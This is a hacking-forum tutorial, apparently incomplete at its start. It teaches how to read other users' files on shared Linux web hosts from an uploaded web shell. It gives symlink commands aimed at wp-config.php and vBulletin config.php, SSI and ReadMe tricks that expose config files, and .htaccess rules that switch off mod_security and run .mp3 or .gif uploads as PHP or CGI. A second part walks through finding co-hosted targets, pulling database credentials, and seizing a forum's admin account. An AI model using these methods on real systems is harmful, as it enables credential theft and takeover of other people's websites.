print(“Now open this server on webbrowser at
port : ” + str(port))
print(“example: http://site.com :” + str(port))
httpd.serve_forever()

I have added the script to downloads. Now
Upload the script to the shell.
Now run this command :

python port.py

Now Open the site with port 13123

http://www.site.com:13123

Server Bypassed From Open Port .

Method 4 : Bypassing Symlink Using .ini
Method.
Login to AnonyMous KnW CGI shell normally create a
symlink to your target in .ini Extension .

ln -s /home/user/public_html/wp-config.php
config.ini

Now go to the shell and make a new file
a.shtml
Paste the following code inside it and save it

PHP Code:
<!-- #include virtual="config.ini"-->

and save it .
Now open the a.shtml in the browser and
right click and view the source . Done
Bypassed
Method 5 : Bypassing Symlink Using ReadMe
file.
Make a new directory in your shell From the
Cgi shell normally symlink the config

Code:
ln -s /home/user/public_html/config.php
config.txt

now make .htaccess with the following code .

PHP Code:
.htaccess
Options All
ReadMeName config .txt

Now when you open the directory on the
browser you will be displayed with the config
source directly .
eg : site.com/Anonknw/config.txt is your symlinked
config then when you open
http://www.site.com/AnonKnw/ you symlinked
config will be displayed as a ReadMe content .
Thats it i have explain All the Methods to
Bypass Symlink If you will have problem
Bypassing Try all the Following .htaccess

1 – >
PHP Code:
.htaccess
Options Indexes FollowSymLinks
DirectoryIndex ss.htm
AddType txt . php
AddHandler txt . php
2 ->
PHP Code:
.htaccess
Options All
DirectoryIndex ssss. html
addType txt . php
AddHandler txt . php< IfModule mod_
security .c >SecFilterEngine Off
SecFilterScanPOST Off </ IfModule>

3 ->
PHP Code:
.htaccess
suPHP_ConfigPath / home/ user/ public_html /
php. ini

4 ->
PHP Code:
.htaccess
Options + FollowSymLinks
DirectoryIndex Sux.html
Options + Indexes
AddType text /plain .php
AddHandler server -parsed .php
AddType text /plain .html

5 -> .htaccess

Options Indexes FollowSymLinks
DirectoryIndex ss.htm
AddType txt . php
AddHandler txt . php< IfModule mod_
autoindex .c > IndexOptions
FancyIndexing
IconsAreLinks
SuppressHTMLPreamble</ ifModule>
< IfModule mod_security .c > SecFilterEngine Off
SecFilterScanPOST Off </ IfModule>
.HTACCESS TO BYPASS DISABLED FUNCTIONS

This one is to make python work :
PHP Code:
.htaccess
AddType
application /x -httpd -cgi . py
AddHandler cgi - script . py
AddHandler cgi - script . py

This one is to make perl work :

PHP Code:
.htaccess
AddType application / x- httpd- cgi .pl
AddHandler cgi - script . pl
AddHandler cgi - script . pl

This one is to enable Symlink if the function is
disabled in the server :

PHP Code:
.htaccess< Directory "/home" > *** Options -
ExecCGI * ***AllowOverride
AuthConfig Indexes
Limit FileInfo
Options= IncludesNOEXEC ,Indexes ,Includes ,
MultiViews ,SymLinksIfOwnerMatch ,
FollowSymLinks</ Directory>

This one is to retrieve users permissions :

PHP Code:
.htaccess
AddType text /plain .php
Options + Indexes
DirectoryIndex filename .html

Bypass Internal Server error :

PHP Code:
.htaccess< IfModule mod_security . c>
SecFilterEngine Off SecFilterScanPOST Off </
IfModule>
Change php version:
PHP Code:
.htaccess
AddType application / x- httpd- php4 .php

Bypass Uploads Options and upload shell in
another extension :
PHP Code:
< FilesMatch "^.*.mp3" > SetHandler
application /x -httpd -php </ FilesMatch>

Retrieve Config with picture method :

PHP Code:
.htaccess
Options FollowSymLinks MultiViews Indexes
ExecCGI
AddType application / x- httpd- cgi .gif
AddHandler cgi - script . gif
AddHandler cgi - script . gif

So that’s it i think i had covered everything
thats related to Bypass Symlink and Disabled
Functions on Server .
DOWNLOAD THE SCRIPTS I HAVE USED ON
THE TUTORIAL >>Here<<
Password of zip:- ([[[[[anonknw]]]]])
(Without braces)

Hope U Enjoy Reading

Reagards

AnonyMous Knw

Hello Readers!
In This Tutorial I going To show You

How to Symlink On A Server

What is Symlink ?
Symlink is a method used by hackers to read
files from other users on a linux server, only
by using a php-shell.
So what do we require to start the tutorial :
Requirements :
- a phpshell uploaded in a linux server (Safe
MODE = OFF )
- a target site
- basic phpshell & linux knowledge
- a brain !
Let's start by the tutorial.
Where to get a target, if you only have a
phpshell uploaded in a linux server that has
some sites ?
It's easy , first get the IP of the server.
Then go to bing.com and search like that :
Code:
ip:xx.xxx.xxx.xxx vbulletin
xxx replace with the ip adress of the server ,
and 'vbulletin', you can change to a name of a
forum software or a CMS you wish as a
target. But for this example i'll take vBulletin.
OK , now we got the target site , let's suppose
that its domain name is mytarget.com and it
uses vBulletin forum software.
Now starts the real hacking !
Go to your phpshell , and in the 'Execute
command' field , execute there that
command :
Code:
ls -la /etc/valiases/mytarget.com
By executing this command , i'll get the name
of the user (on the linux server) that keeps
the website mytarget.com.
It should return with a result similar to that :
>>>>>>>-rw-r--r-- 1 target mail 28 May 28
2011 /etc/valiases/mytarget.com
The red colored piece is the user of
mytarget.com on the server.
So in our case the username is 'target '
Many of us know that the configuration file of
vBulletin script ,can be found in /includes/
config.php.
This is the file we need to read in our case ,
in order to get access at our target site.
How can we read that file ?
Simple , execute that command on the shell :
Code:
ln -s /home/target/public_html/includes/
config.php symlink.txt
As you can see, we're writting the content of
config.php , into symlink.txt file.
After you execute the command , you will se a
new file called symlink.txt.
Open it and w00t !! You successfully read the
configuration file (symlinked).
Now , just get an MySQL connector script
coded in PHP , and login with the details you
get from configuration file of your target.Then
at the admin table, get the admin's hash and
crack it , or better , change the admin's email
you yours , and then do a forgot password at
mytarget.com
And then you successfully will get full access
in your target site !
That was all ,very easy if you practice many
times. Maybe soon i will make a video tutorial
if you still didn't understand , just request the
video tut in the comments , and i will try
ASAP to make it for you !

Hope You Enjoyed!

#AnonyMous_Knw